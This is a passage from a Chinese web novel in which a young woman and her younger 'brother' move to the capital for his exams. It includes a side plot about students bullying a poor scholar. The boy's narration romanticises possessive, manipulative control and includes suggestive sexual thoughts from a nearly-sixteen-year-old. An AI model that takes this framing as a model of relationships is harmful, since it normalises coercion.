半晌,许娘子叹了口气,接过东西,放在身后的驴车上,又转过身,握住姜芸薇的手,语气怅惘,“芸娘,此次一别,往后便再难相见了,你是个有福气的,你弟弟考中了解元,将来定然前途不可限量,而你……” 说到这里,她突然有些说不下去了。 姜芸薇宽慰道:“许娘子,你也别灰心,一朝落第,只是时运不济,沉淀三年后卷土重来,必能考上举人。” 许娘子笑着摇了摇头,“算了吧,我夫君有几斤几两,难不成我还不清楚吗?他呀,天生就不是读书的料,我和他商量过了,打算回去做些小生意,养家糊口。” 姜芸薇莞尔,“这样也好,那就提前预祝你生意兴隆。” “别说我了,芸娘,我这个性子,谁能欺负了我去?此次回去,我已经想好了,倘若我婆婆要是再敢磋磨我,我绝对不让着她,既然她想闹,我就闹得天翻地覆,家宅不宁!看谁先受不了。”许娘子笑的眼睛弯成了月牙儿,顿了顿,她看向姜芸薇,又长叹了口气,“芸娘,你性子太好了,我真担心你被人欺负,京城那地方,可不比我们镇上,倘若一不小心得罪了什么人,恐怕就连小命都保不住了。” 姜芸薇轻轻颔首,“你放心,我定会谨言慎行的。” 许娘子没有再说话,她仔细端详着面前的女郎,明明看了无数次,然而,她却还是会不自觉被姜芸薇的容貌所惊艳。 她的美,并非那种张扬明丽,国色天香的大美人,而是恍若一株被雨水打湿过的梨花,清丽脱俗中透着几分易碎的柔美,令人不自觉心生怜惜。 一个女子若是生得过分貌美,又无权无势,便很容易遭人觊觎,不过,她的弟弟季珣可不是什么省油的灯,许娘子心中有种莫名的笃定,季珣定然能够护得住她。 许娘子收回思绪,拍了拍她的手背,“芸娘,有些话我还是得叮嘱你,你弟弟季珣,以他的才学能力,说不定将来真能金榜题名,不过你要记住,哪怕他当再大的官,也与你毫无关系,你得多为自己考虑,若是季珣真的能当上大官,凭借着他姐姐这个身份,你也能为自己觅得一个如意郎君。” 闻言,姜芸薇心中一暖,自从季母去世后,已经很久没有人如此真心实意的关心她,设身处地的为她着想了。 “你无父无母,没人为你操持终身大事,你弟弟他又——”许娘子眼眸闪了闪,停顿了会,才接着说,“女子嫁人就犹如第二次投胎,你可千万不要害羞,若是喜欢谁,就主动争取,芸娘你生的这么美,那些男人啊,定然会拜倒在你的石榴裙下。” 话毕,许娘子忍不住在心中暗暗叹了口气,如今只希望季珣他能够顾忌两人的身份,不要当真做出那等有悖人伦之事。 姜芸薇被她逗笑,面上泛起一抹红云,“许娘子,你就别打趣我了。” “娘子,我们该动身了。” 许娘子夫君的声音骤然自门口传来。 “诶,我这就过来。” 许娘子应了 一声,说完,依依不舍的看了姜芸薇一眼,“芸娘,我走了,你往后多多保重。” 姜芸薇用力点头,眼眶微微泛红,“你也是,多保重。” 看着那辆简陋的驴车逐渐消失不见,姜芸薇轻轻叹了口气,这一别,恐怕往后都没机会再见了。 入了秋,空气中都多了几分寒意,风一吹,几片枯黄的树叶打着旋落在地上,满院的萧瑟气息。 一件外衫蓦地披在肩头,暖意随之覆了上来。 “阿姐,怎么不多穿些。” 季珣低沉的声音骤然在身后响起。 尚未回头,他身上清冽的雪梅香气便随风悠悠的飘了过来,在鼻尖萦绕。 姜芸薇怔了怔,下意识的回过身。 季珣站的离她极近,他身形高大,落下的阴影将她娇小的身躯完完全全的笼罩住,宽大的衣袖被风扬起,擦过她的手背,衣料划过肌肤的触感分外鲜明。 姜芸薇手指不自觉蜷缩了一下,她垂下眸子,神情难掩低落,“阿珣,许娘子和她夫君离开了。” 瞧见她黯然神伤的模样,季珣心中不禁有些困惑。 不过一个不相干的人罢了,他实在不明白,阿姐为何要因此伤神? 于他而言,这世间芸芸众生,皆是无关紧要的过客,唯有阿姐,才值得他放在心尖、刻入骨血。 他不喜欢姜芸薇挂念别人,更不喜欢她为了旁人心伤落泪。 明明他们才是这世间最亲密的人,她的满心满眼,都合该只装着他一个人才对。 季珣喉结滚动了一下,眼底翻涌着浓烈的偏执和占有欲,如藤蔓般疯长。 他凝视着她潋滟如水的眸子,哑着嗓音低声道:“阿姐,别难过,我会一直陪着你的。” 此言一出,姜芸薇微微一怔。 她下意识抬眸,恰好对上他漆黑的眸子,恍若深不见底的寒潭一般,看似平静无波,底下却涌动着汹涌的暗流,似乎能将人的魂魄都吸进去。 姜芸薇脑海里“嗡”的一声,浑身的血液仿佛在这一瞬间冻结,令她浑身僵硬,手脚冰凉。 季珣是她的弟弟,是她拼死也要护着的人,是她在世上唯一的亲人。 可是他此刻说话的语气,看向她时的眼神,都炙热的令她感到惊慌。 那些被刻意压下的猜测又浮上脑海,令她心乱如麻,不知该如何是好。 有些事情,一旦捅破了那层窗户纸,便再也回不到从前了。 阿珣只是年纪太小了,还不懂男女情爱,所以才会错误的把这朝夕相处的姐弟情分,当成了儿女情长。 等到他长大了就好了。 姜芸薇深吸一口气,暗自掐了掐掌心,强压下心底翻涌着的惊涛骇浪,她脸上扯出一抹笑容,嗔道:“又在说傻话了,你将来是要成家立业,娶妻生子的,我们姐弟两人,哪能一辈子在一起。” 季珣目光像一张织得密不透风的网,牢牢的锁在她脸上。 看着姜芸薇眼底的慌乱、因不安而颤动的睫毛、唇角僵硬的笑容,他的眸色越发幽深,唇角勾起一丝微不可察的弧度。 他知道,阿姐又在逃避了。 她分明察觉到了,却拼命装作什么都不知道,试图粉饰太平。 就像一只怯懦的蜗牛,但凡遇到一点风吹草动,就慌慌张张的躲进自己的壳里,半点不肯探出头来。 不过没关系,来日方长。 反正他有的是时间。 况且,阿姐这般胆小,倘若吓跑她就不好了。 季珣眸底的笑意深了几分,附和道:“阿姐说的是。” 姜芸薇松了口气,她眼神躲闪,“阿珣,时候不早了,我先回屋收拾东西了。” 话音落,便匆匆越过他,逃也似的朝着屋内的方向而去。 * 到了十月末,空气中寒气愈发重了,姜芸薇这段时日,给两人都做了几件冬日御寒的衣衫,她从未去过京城,听人说,那边的冬天格外的干冷,朔风刮在身上,刀子似的。 这日清晨,天才刚蒙蒙亮,雇来的乌蓬马车便已经在院子外的桂花树下等侯了。 行囊昨夜便已经提前收拾好了,季珣和车夫一起,正将包袱搬上马车。 院子里栽种的秋菊开的正盛,层层叠叠的花瓣簇拥着,璀璨若金色的云霞,在萧瑟的秋风中摇曳,散发着蓬勃的生命力。 “阿姐,走吧。” 季珣清润的嗓音在身后响起。 姜芸薇点了点头,她关上小院门,走了出去。 马车缓缓驶出,车轮碾过青石板路,发出辚辚的声响。 她忍不住掀开车帘一角。 马车外熟悉的景色像是一幅流动的画,正飞快向后倒退,模糊成一个小点,最终消失不见。 姜芸薇心情分外复杂,有对未知生活的憧憬和期待,也有对未来的迷茫与忐忑。 也不知道京城究竟是什么样的,是否当真有那么繁华?听说京城人才济济,汇聚了来自全国各地的才子,也不知道阿珣此次春闱能否榜上有名。 马车驶上官道,两旁道路逐渐变得宽敞起来,姜芸薇放下车帘,将那不断变换的景致隔绝在外。 第38章 第38章 他要让阿姐,过上锦衣玉食的…… 一路上舟车劳顿, 总算在十二月下旬赶到了京城。 马车缓缓驶入城内,喧闹嘈杂的声响传入耳中,姜芸薇忍不住掀开车帘, 朝外面看去。 扑面而来的朔风恍若刀子般凛冽, 空气中弥漫着刺骨的寒意。 京城的繁华也随之映入眼帘。 朱雀大街上车马如流,街道两旁店肆林立,彩旗招展, 飞檐斗拱鳞次栉比, 一眼望不到尽头,酒楼还未入夜便挂着高高的灯笼, 街上的行人衣着光鲜,摩肩接踵, 甚至还有金发碧眼的胡人, 车马行人恍若流动的潮水, 汇聚成了一股生机勃勃的洪流。 姜芸薇眸中难掩惊叹之色, “阿珣, 你快看,京城果真繁华热闹。” 季珣抬起眼帘,目光却慢慢落在她的脸上。 姜芸薇今日穿着一件大红色夹袄,领口处镶着一圈白狐毛领,柔柔拂过下颌,她侧着脸,望着马车外的景致, 眸中跳跃着璀璨明亮的光芒,恍若漫天星子坠入其中。 前世初到京城时,他也曾为此处的繁华所迷了眼,心中霎时滋生起一阵难以言喻的渴望, 他想要留在京城,留在这片广袤的天地。 后来,他也确实做到了。 然而,当他经过了数年的宦海沉浮,站在权利顶端后,最终却登高跌重,走向了一条必死之路。 而这辈子,有阿姐常伴身侧,他一定会拥有不同的结局。 季珣收回思绪,“阿姐,冬日天黑的早,我们先寻个客栈住下,明日再去赁院子吧。” 姜芸薇点了点头。 季珣掀开车帘,朝着车夫说道:“去永乐坊的悦来客栈。” 车夫应了一声。 季珣刚放下车帘,便见姜芸薇正一脸好奇的望着他,“阿珣,你如何知晓京城的地方?” 季珣面不改色,“之前在书院听旁人说起过。” 姜芸薇不疑有他,似乎想到了什么,她忍不住感慨道:“听说这京城寸土寸金,也不知晓在客栈住几晚要花掉多少银子。” 季珣:“银子的事情,阿姐不必担心。” 闻言,姜芸薇忙道:“阿珣,你不会又打算去抄书卖字画赚银子吧?你如今快要参加会试了,阿姐不希望你为这些事情分心,你放心吧,等赁了屋子,在京城安定下来后,我就去寻个活计,你现在只需把全部的心思都放在此次的会试上。” 季珣眸光深了深,并未与她争辩,只乖顺点头道:“好。” 阿姐,你再等等。 待到金榜题名后,他定要将这世间最好的东西都捧到姜芸薇的面前。 季珣忍不住在心中幻想着。 他要在这京城最繁华的地段,买一间大宅子,在院内种上她最喜欢的梨花,花园里再搭上一个秋千架,等到 天气好的时候,阿姐便能够坐在秋千架上晒太阳。 他还要请来京城最顶尖的绣娘,用上好的浮光锦给她做衣裳,阿姐这般美,穿在身上定然流光溢彩,走动时如披霞光。 他要让阿姐,过上锦衣玉食的日子,再也不用为了生计发愁,再也不用艳羡旁人。 * “公子,姑娘,悦来客栈到了。” 车夫的嗓音自马车外传来。 两人先后下了马车,冷风霎时像是刀子般无孔不入的刮了过来,吹的脸颊生疼,就连骨头缝里,都透着一股子凛冽的寒意。 冬日天黑的早,道路两旁都挂上了灯笼,寒风呼啸着卷了过来,姜芸薇下意识的缩了缩脖子,裹紧了身上的夹袄。 眼前悦来客栈的招幌在寒风中猎猎作响,门前两盏红灯笼摇曳晃动着,散发着橘黄色的的暖光。 客栈的小二瞧见他们,连忙出来帮忙搬行李。 进了客栈,一股暖融融的热意瞬间扑面而来,将人从头到脚包裹住,冻僵的身体得以缓解。 客栈大厅炭火烧的正旺,每张桌子都坐的满满当当,这些客人大多都是和季珣一样,是进京赶考的举子,此刻正三三两两的攀谈着,今年会试的考题。 小二脸上带着笑,看向季珣,“这位公子也是上京赶考的吧?可是要住店?” 季珣点了点头,“对,要两间客房。” 小二搓了搓手,一脸歉意的开口,“客官,真是对不住,年关将至,往来客商比较多,再加上最近又陆陆续续来了许多上京赶考的举子,小店如今只剩下一间上房了。” “这……”姜芸薇愣了愣,面露为难之色。 见状,季珣果断开口道:“阿姐,那我们再去看看其他客栈。” 小二听后,劝道:“两位客官,听我一句劝,别去了,眼下临近年关,城里头客栈基本上都住满了,再加上今日天气不好,到了夜间,恐怕还要下雪,你们这会儿出去,当心冻坏了身子。” 季珣低头看向姜芸薇,用眼神询问她的意见。 姜芸薇睫毛颤了颤,沉默着没有说话。 眼下似乎也没有更好的法子了,外面天色已黑,再加上天气确实分外寒冷,他们初来京城,对此处又不熟悉,倘若其他客栈也没有房间,到时候再回来,说不定连这间房都没了,到时候就只能露宿街头了。 思及此,姜芸薇深吸了口气,做出了决定,“那我们就住这间房了,劳烦给我们再送一床被褥。” 小二笑道:“好嘞,那我这就带两位去房间。” 这房间倒是华贵异常,里面宽敞明亮,地面铺着一层厚实的绒毯,内间摆着一张宽大的拔步床,月白色的帐幔用金钩挽着,上面用银色的银线绣着缠枝牡丹,看上去朦胧而又华贵,空气中弥漫着沉香的气息。 姜芸薇还是头一次住这么好的屋子。 然而,此刻的她,压根无暇欣赏这无一不精,无一不巧的房间,她坐在桌边,手指紧张的绞着衣角,整个人僵硬的就像是一块木雕。 明明季珣没有说话,然而她却能够清晰的感受到属于他的气息,正无孔不入的弥漫过来。 门外蓦地传来一阵敲门声,姜芸薇连忙站起身,上前去开门。 “客官,我来给你们送热水了。”小二分外热情殷切,“我就在楼下,有什么事情两位客官可以下楼叫我。” 姜芸薇点了点头。 待到小二离开后,屋内又只剩下他们两人了。 分外安静。 安静到似乎能够听到彼此的呼吸声。 看着她局促的模样,季珣柔声道:“阿姐,一路上舟车劳顿,你也辛苦了,先去洗漱一下吧。” “好。”姜芸薇声如蚊讷。 话毕,她连忙逃也似的,飞快的走到房间角落的纱隔屏风后。 第39章 第39章 孤男寡女,同处一室 窗外狂风呼啸, 拍打着窗棂。 姜芸薇慢吞吞的脱下身上的夹袄,衣料摩挲时发出的窸窣声响在寂静的屋内分外清晰,她下意识的屏住了呼吸, 铜盆中的热水散发着袅袅的雾气, 氤氲模糊了屏风上的花鸟图。 她抬手绞干巾帕,动作放得极轻、极缓,然而淅淅沥沥的水声却仍旧在寂静的屋内被无限放大, 姜芸薇耳尖发烫, 下意识的加快了动作,想要速战速决。 屋内烛火摇曳, 昏黄的光晕浸透屏风上的绢纱,将女子的窈窕纤细身影轮廓勾勒的影影绰绰。 姜芸薇正要穿上衣衫, 一种被窥视的感觉, 遽然涌上心头。 她总感觉, 有一道灼热的视线, 穿透过屏风上的牡丹缠枝花纹, 如影随形的缠绕在她的身上,那目光如有实质,烙在她裸露的肌肤上,令她连呼吸都下意识放轻了。 姜芸薇呼吸一滞,浑身僵硬,她下意识的抬起头,外间翻动书页的声响也随之传入耳中, 分外清晰。 水汽氤氲,晕开了屏风上的花鸟纹路,隔着那层薄薄的娟纱,只能够看到一团雾蒙蒙的影子。 除此之外, 什么都看不清楚。 姜芸薇松了口气,暗道自己多心。 * 姜芸薇走出来时,便见季珣正临窗而坐,专心致志的翻看着手中的书册。 光影晃动,落在他清俊的侧脸上,挺鼻薄唇,眉峰朗润,仿佛用墨笔精心勾勒过一般,分外俊美。 她垂下眼帘,盯着鞋尖,小声开口,“阿珣,我洗好了,你也去吧。” 话落后,她能够感觉到,季珣的视线在她身上停留了一息,静默一瞬后,他才低声应道:“好。” 眼看着季珣走至屏风后,姜芸薇这才三步并作两步,飞快挪到床边,掀开锦被,一气呵成的躺了进去。 柔软的锦被包裹住身体,暖融融的热意袭来,连日以来积攒的疲累和浸骨的寒意,霎时间消融的一干二净。 然而,想到季珣与她仅仅只隔了一个屏风,一颗心便高高吊了起来,浑身的弦都绷的紧紧的。 孤男寡女,同处一室…… 她还从未与人这般亲近过,遑论此人还是与她朝夕相处的弟弟。 过了大概一刻钟,季珣这才走了出来,他缓缓走到床沿边,目光落在姜芸薇的身上。 姜芸薇呼吸发紧,心跳都好似瞬间漏了一拍。 季珣弯下腰,抱起床榻上的另外一床锦被,“阿姐,今夜你睡床上,我打地铺睡吧。” 姜芸薇愣了一下。 京城的冬日格外的冷,睡在冷硬的地板上,便是铁打的人也受不住,更何况弟弟这般瘦弱? 想到这,她有些急切的脱口道:“阿珣,这床这么大,我们一人睡一边就好了,这么冷的天气,倘若睡在地板上,着凉了就不好了。” 季珣垂下眼帘。 缓慢的掠过她纤细的脖颈、绯红的耳垂、紧抿着的唇瓣。 烛火倒映着他的眼眸,他眸中像是浸润了一汪蓄着暖意的春水,灼亮的惊人。 阿姐她还在害怕,害怕与他同榻而眠。 可她偏偏又最心软,舍不得他受半分委屈。 他早就算准了她的性子,故意主动示弱说要睡地板上,阿姐果然如他所料,瞬间便软了心肠,主动邀他上榻。 而这份良善,恰恰是缚住她的枷锁囚笼。 今日她允他同榻而眠,来日便会容忍他愈发过分的胡作非为。 她就像一只误入蛛网的蝴蝶,掉入了他精心罗织的大网之中,待到她惊觉时,早已被蛛丝牢牢缚住,无处可逃。 “阿姐,那早些歇息吧。” 话音落下的那一瞬间,烛火被吹熄,屋内陡然陷入了一片黑暗。 床榻很大,容纳两个人完全是绰绰有余。 柔软的衾被陷下去一块,是季珣在她身侧躺了下来。 姜芸薇攥着被褥的手紧了紧,她僵着身子,后背紧绷成一线,整个身子几乎都贴在了床沿上。 黑暗中什么都看不见,其他感官便越发清晰。 姜芸薇能够听到他清浅的呼吸声,与她的交缠在一起,就连空气,都似乎变得粘稠起来。 她紧闭着双眼,却半点睡意也无。 季珣身上清冽的气息,混着床帷内浓郁的熏香,在空气中氤氲开来,缠得人 心中发紧。 窗外的风声愈发急促,恍若猛兽在暗夜中咆哮,拍打着窗棂树叶,发出呜咽的声响。 身畔的人异常安静,一动不动,似乎已经熟睡了。 姜芸薇下意识的侧过头,朝他那边看了一眼。 四下里黑沉沉的,只能够看到一个模模糊糊的轮廓,在锦被的掩映下,他高大的身躯,恍若雾霭中的山峦,透着几分硬朗的弧度。 姜芸薇不敢细看,仓惶的收回视线。 紧绷的神经终是抵不过沉沉睡意,连日赶路的疲惫如潮水般铺天盖地的涌了上来,眼皮重若千金,她终是撑不住,阖上眼帘睡了过去,呼吸逐渐变得绵长均匀。 黑暗中,身旁的少年却缓缓睁开了眼,他的眸中一片清明,没有丝毫的睡意。 他侧过身,目光落在姜芸薇的身上。 那双平日里沉静的眸子,此刻闪烁着慑人的亮光,恍若蛰伏已久的野兽,正审视着不慎掉入陷阱之中的猎物,黑眸中满是势在必得。 他前世习过武,在黑暗中亦能视物。 他能够清晰的看到女子恬静的、毫不设防的面容,许是屋内炭火烧的太浓,她衣襟被扯开了些,露出胸口一片莹白如雪的肌肤,随着呼吸微微起伏,恍若一颗剥了壳的荔枝。 在黑暗中,白的晃眼。 季珣眸光暗了暗,舌尖轻轻舔了舔唇瓣。 屋外的寒风还在呼啸,帐幔之内,却暖得令人心中发紧,胸腔内灼热的渴望恍若滚烫的岩浆,烧的他浑身的血液都烫了起来。 心脏在胸腔内狂跳不止,心口胀得发疼。 他已经快要等不及了。 他不想再当她的弟弟。 他憎恶这个身份。 他憎恶姜芸薇将他当成需要被照顾的孩童,更憎恶她看向自己时,那干净的不染半分杂质的眸子。 里面没有半分男女之情,只有对弟弟的关切。 他想要的从来不是这些。 他迫不及待的想要让姜芸薇看清楚他的真面目。 想将她拆吃入腹,想让她在自己身下战栗承欢,就连骨血之中,都浸透他的气息。 * 翌日清晨,姜芸薇悠悠醒转,一睁眼,便瞧见了身侧躺着的季珣。 他侧脸的轮廓沐浴在晨光中,显得格外柔和,眼皮沉阖,细密的睫毛覆在眼下,看上去少了几分冷厉,多了几分如玉的少年气质。 两人距离极近,几乎就在咫尺。 姜芸薇愣了愣,一时竟有些反应不过来。 昨夜的回忆遽然间涌入脑海,她浑身一僵,如同被火烫了般,连忙往旁边挪了挪,拉开了两人间的距离。 明明睡觉之前,两人隔了几乎有一臂的距离,怎么一觉醒来后,就离得这么近了? 近到姜芸薇能够感觉到他清浅的呼吸声,似乎就在耳畔响起,像是羽毛一般,撩拨着她的心。 姜芸薇心中霎时涌起一阵慌乱感,她连忙掀开被褥,轻手轻脚的下了床榻。 她掀开帐幔,走至窗边,待瞧见窗外的景致后,双眸猝然一亮。 昨夜下了一场大雪,此刻屋檐上覆了一层厚厚的积雪,白茫茫的一片,光秃秃的树枝上也坠满了雪团,几株红梅在寒风中傲然绽放,点点嫣红,在一片银装素裹中格外醒目,整个天地似乎都笼罩在一片洁白中,干净透彻。 “阿姐怎么光着脚?” 身后蓦地传来季珣幽幽的嗓音,似乎贴着耳廓响起。 姜芸薇吓了一跳。 她连忙回过头,只见季珣不知什么时候,竟走到了她的身后。 他走路竟然没有半点声音! 姜芸薇惊呼出声,“阿珣,你什么时候醒的?” “阿姐为何不穿鞋子?” 季珣并未回答她,而是幽幽的盯着她的脚,目光沉沉,带着不容忽视的重量。 姜芸薇脑海中恍若炸开一道惊雷,双眸瞬间睁大。 方才她太过慌乱,便赤着脚下了榻,屋内烧着炭火,地上又铺着厚厚的一层绒毯,踩在上面,就如同踩在棉絮里,丝毫不觉得冷。 况且,她也没有料到,季珣会突然醒来,还形同鬼魅般,神不知鬼不觉的站到了她的身后。 明亮的日光透过雕花窗棂,在她脚背上铺沉开一层暖融的光晕,她的脚踝雪白纤细,仿佛一折即断,由于太过紧张,脚趾正不安的蜷缩着,恍若这样就能将自己藏起来。 女子的脚极为私密,然而此刻,却毫无遮挡的暴露在季珣的面前。 他的视线恍若带着滚烫的温度,如有实质般,正一寸寸描摹着她光裸的足踝,目光的每一寸流连,都激起她肌肤细微的战栗。 姜芸薇脸颊火辣辣的烧了起来,就连耳根都隐隐发烫,她张了张唇,却羞耻的不知道该说什么。 “我这就去穿。” 再也顾不得其他,姜芸薇像是被火烫了一般,仓惶的提着裙裾,几乎是落荒而逃,朝着床帷边奔去。 第40章 第40章 阿珣,这院子应该不便宜吧?…… 雪后初晴, 日光破开云层,映照在皑皑白雪上,反射出细碎的、耀眼的白光。 屋檐下的积雪有些化了, 凝成水珠落在青砖上, 洇出一片深色的痕迹。 太阳虽出来了,然而空气中,却还是透着一股子凛冽的寒意, 无孔不入的钻进人的骨头缝里, 冷的人浑身直打颤。 季珣一大早便出去物色房舍了。 姜芸薇独自留在客栈。 姜芸薇原本想与他同去,季珣却道, 他在书院的时候,曾听同窗提起过京城几处物价便宜的地段, 他一个人跑一趟便好了, 外面天寒地冻的, 实在没必要两个人一起。 今早的回忆, 始终在脑海中盘桓不去。 姜芸薇一时也确实不知该如何面对季珣, 便也没有强求。 晌午时分,她独自下楼用午膳。 客栈大堂内此刻依旧是人声鼎沸,坐满了客人,大多都是穿着锦缎绫罗的年轻学子,他们正三三两两凑在一起,高谈阔论。 “原来兄台竟出身琅琊王氏,失敬失敬。” “早就听闻王公子文采斐然, 学富五车,今日一见果真气度不凡。” “要我说,这会试第一名非王公子莫属,不像有的人, 出身茹毛饮血的岭南之地,竟然也敢来参加会试,简直是自取其辱。” 姜芸薇蹙了蹙眉,顺着声音来源处看去。 只见三四个学子,正簇拥着一个身着月白色锦袍、腰间系着玉带的年轻男子,那男子想必就是他们口中的琅琊王氏王公子,衣着华贵,气宇轩昂,眉宇间有淡淡的矜傲之色。 一个身穿靛蓝色锦袍的学子嗤笑一声,鄙夷的目光落在独自坐在角落里的年轻男子身上,“诶,乡巴佬,说你呢,听见没有,谁准你和我们同处一室的,身上一股子穷酸气。” 旁边立马有人附和,言辞刻薄,“看他这穷酸样子,从岭南蛮荒之地来的,恐怕连像样的笔墨纸砚都买不起,真是让人笑掉大牙。” “连下房都住不起,只能住在柴房,这样的人,怎么配参加会试?” 话音落下后,周遭的世家子弟顿时发出一阵哄笑声。 他们口中所嘲讽的对象,名唤岑墨,看上去约莫二十岁左右,身上穿着一件浆洗的发白的蓝色布衫,手中紧握着一卷泛黄的旧书,气质温文沉静。 他连壶茶水都没舍得点,面前只摆着一杯白开水。 悦来客栈在贡院旁的街巷当中,也算得上是头一号的客栈,占地极广,客房分成三六九等,住满了 来自五湖四海赴京赶考的学子,客栈掌柜怜岑墨穷苦,连下房都住不起,便大发慈悲允他住在柴房,每日帮忙做些活计抵扣房钱。 前几日客栈人多,岑墨给这几位世家子弟送饭菜的时候,不小心迟了些,梁子就此结下。 虽然掌柜的已经向他们赔礼道歉过了,然而他们在得知岑墨也是参加会试的举子后,便开始对他百般针对,出言挖苦。 岑墨对周遭鄙夷目光视若无睹,他低着头,自顾自的翻看着书册,身上自有一股子沉静淡然的气质。 只是握着书册的指节,却微微有些泛白,泄露了他此刻的心绪。 犹如一拳打在了棉花上,瞧见他这副旁若无人的模样,那些世家子弟心中越发气恼,不过一个乡巴佬,竟然敢不将他们放在眼里? 那个身穿靛蓝色锦袍的学子霍然站起身,大步走到岑墨面前,猛地撞了一下他的桌子。 桌子晃动了一下,桌面上的狼毫笔骨碌碌滚落在地面上。 那学子唇角勾起一抹恶意的笑,他蓦地抬起脚,重重碾了下去。 只听“咔嚓”一声,笔杆应声断裂,沾满了墨汁的狼毫笔在地面上晕出一片浓黑的墨迹。 “什么破笔,一碰就坏。”靛蓝色锦袍学子似是嫌脏,鞋底在地面上蹭了蹭,他毫不掩饰语气中的鄙夷,“连支像样的笔都买不起,也敢来京城丢人现眼?姓岑的,还不如早些滚回你的岭南去吧。” 岑墨攥紧了拳头,胸腔内气血翻涌,却是一言不发,蹲下身去捡那只断裂的狼毫笔。 他的背脊紧绷得像一张拉满的弓,手背上隐隐有青筋浮现。 一时间,无数道目光落在他的身上,有怜悯,有嘲讽,更多的却是事不关己的漠然。 姜芸薇握着茶盏的指尖骤然收紧,胸腔腾内起一阵怒意。 这些人,实在是欺人太甚。 靛蓝色锦袍学子上前一步,还欲发难。 这时候,那位出身琅琊王氏的王公子突然语气淡淡的开了口,“好了,不过一介寒门,何必与他计较?没得辱没了自己的身份。” 闻言,靛蓝色锦袍的学子立马换了一副笑容,连连点头附和,“王公子所言有理。” 过了午时,客栈大堂的人陆陆续续都离开了,无人再去在意岑墨。 他垂着头,独自坐在角落里,额前几缕碎发垂下,遮住了面上神情。 将这一切看在眼里,姜芸薇心中一时五味杂陈。 看来不管在什么地方,门第偏见,都是一座无法逾越的大山,那些世家子弟,从骨子里便看不起寒门子弟。 吃过午膳后,姜芸薇回了房间。 推开窗,一股清冽的寒气铺面而来,她突然瞥见,楼下庭院里,一个高大清瘦的身影正在扫雪。 正是中午在客栈大堂被人欺凌的岑墨。 放眼望去,满目皆白,他孑然立于其间,身影越发显得格外寂寥孤清。 姜芸薇静静看了一会儿,心中渐渐起了波澜。 对于寒窗苦读的学子而言,笔墨纸砚有多重要自然是不言而喻。 想到同为寒门子弟的季珣,姜芸薇心中一软。 她转身打开包袱,取出一支竹青色狼毫笔,用绣帕包好,紧接着,往楼下走去。 这笔乃是她想要送给季珣的,只不过,还没寻到合适的时机送出去。 罢了,到时候再给阿珣买一支新的。 * 庭院中的积雪已经扫开大半,露出湿滑的地面。 院中栽着一株枝干虬劲的梅树,枝桠上积着厚厚一层积雪,将坠未坠。 几朵稀疏红梅点缀其中,在白雪中绽出一抹艳色,淡雅的香气在空气中弥漫开来。 “公子。” 姜芸薇鼓起勇气上前,轻声唤道。 岑墨怔了一下。 他回过头,便见身后站着一位少女。 少女身着月白色袄裙,肩头披一件大红色鹤氅,边缘滚着一圈雪白的狐裘毛边,乌发如瀑,脸庞莹白素净,在皑皑白雪中,白得清丽,红得秾艳,叫人移不开眼。 姜芸薇将手中用绣帕包着的狼毫笔递上前,“公子,方才我见你的笔损坏了,公子若不嫌弃,这支笔便赠予公子了。” 岑墨自从来到京城后,便饱尝冷眼,如今遇到姜芸薇雪中送炭,心中一时颇为受宠若惊,“无功不受禄,姑娘心意,在下心领了,只是这笔太过贵重,我断不能收。” 姜芸薇目光澄净而又温柔,“公子此言差矣,笔不过只是死物,在你手中,才算是物尽其用,搁在我这儿,也仅仅只是白白糟蹋了,望公子勿再推辞。” 说完,不由分说的将手中用绣帕包着的狼毫笔递到岑墨手中。 她唇角弯起一抹浅浅的笑意,黑眸中满是真挚,“公子且收下吧,愿公子此次会试下笔成章,榜上有名。” 岑墨抬眼看向她。 日光映照在她的眼底,衬得那双乌黑的眸子恍若浮动着一层晶莹的水光,潋滟动人。 一阵微风拂过,几朵梅花飘落在她乌黑的发鬓上,平添了几分浑然天成的清丽。 岑墨攥紧了手中那方绣帕,掌心被汗水濡湿,他张了张唇,声音低沉清冽,“多谢姑娘。” “不客气。”姜芸薇嫣然一笑。 继而,她微微欠身,不再停留,踅身朝着客栈内走去。 看着她清瘦的背影渐行渐远,岑墨如梦初醒般,急急唤道:“姑娘,请留步!” 姜芸薇脚下步伐一顿。 岑墨喉结滚了滚,音调高了几分,“敢问姑娘芳名?这支笔的钱,我将来定会还你。” 姜芸薇回眸一笑,“公子不必挂怀,来日有缘,自会相见。” 话毕,她踏雪继续前行,红色斗篷逶迤曳地,与皑皑白雪相得益彰,美得恍若一幅意境悠远的水墨画。 岑季立在原地,凝视着她的背影久久未动。 半晌后,他垂下头,轻轻摩挲着手中的绣帕,只见雪白的帕子上,用红色的丝线绣着稀疏几朵梅花,那一抹红,恍若团燃烧着的火焰,灼的他心尖都有些发烫。 一直到傍晚时分,季珣才回到悦来客栈,“阿姐,屋舍已经找好了,我们现在便搬过去吧。” 姜芸薇听后,松了口气。 倘若屋舍没有找到,她和季珣今晚还得继续睡一间客房,实在是多有不便。 幸好,总算是找到了。 季珣赁的屋舍就在永安坊,离贡院不算远。 马车停了下来,姜芸薇掀开车帘,目光落在眼前的宅院时,不由微微一怔。 京城米珠薪桂,她原本以为,季珣赁的院落,应该是一间普通的小院子。 然而眼前这宅院,乃是标准的二进院,整个院落布局规整,宽敞雅致,和她预想中的简陋小院,简直是天壤之别。 姜芸薇瞪大了眼,回头望向季珣,“阿珣,这院子应该不便宜吧?”《 》 40-50 第41章 第41章 阿姐,新春嘉平,长乐未央…… 季珣温声:“阿姐不必忧心, 这宅院的屋主和我们是同乡,又听闻我是来京城参加会试的举子,所收租金便低廉了不少, 况且此地离贡院极近, 省去每日车马奔波,分外便利。” 姜芸薇听后松了口气,不再多言。 两人将行李搬下马车, 又将屋子里里外外都打扫了一遍, 待到一切都拾缀好后,已近亥时了。 劳累了一整日, 姜芸薇几乎是头刚沾上枕头,便沉沉睡了过去。 临近年关, 京城的年味也越来越浓了, 大街小巷都是卖年画炮仗的小贩, 家家户户张灯结彩, 就连街边的树梢上, 都挂满了红绸红灯笼,一派喜气洋洋。 这还是季珣和姜芸薇两人独自过的第一个新年。 自从来了京城住下后,季珣几乎每日早出晚归,也不知在忙活些什么。 他的生辰就在元宵节后几日,过完年就快要十六岁了。 季珣向来早慧,行事果决,性子也比同龄人要沉稳不少。 姜芸薇对他极为放心, 便也没有多加干涉。 腊月二十八这日,姜芸薇将从街市上买来的窗花年画、门联、灯笼一股脑放在桌上,准备将院子布置一二,迎接即将到来的新年。 她搬来竹梯, 靠在小院门前的檐廊边。 继而,一手扶着梯身,一手提着盏红纱灯笼,小心翼翼地往上攀。 季珣回来时,瞧见的便是这样一幅画面—— 姜芸薇踮起脚尖,身子倾仄,神情专注的挂灯笼。 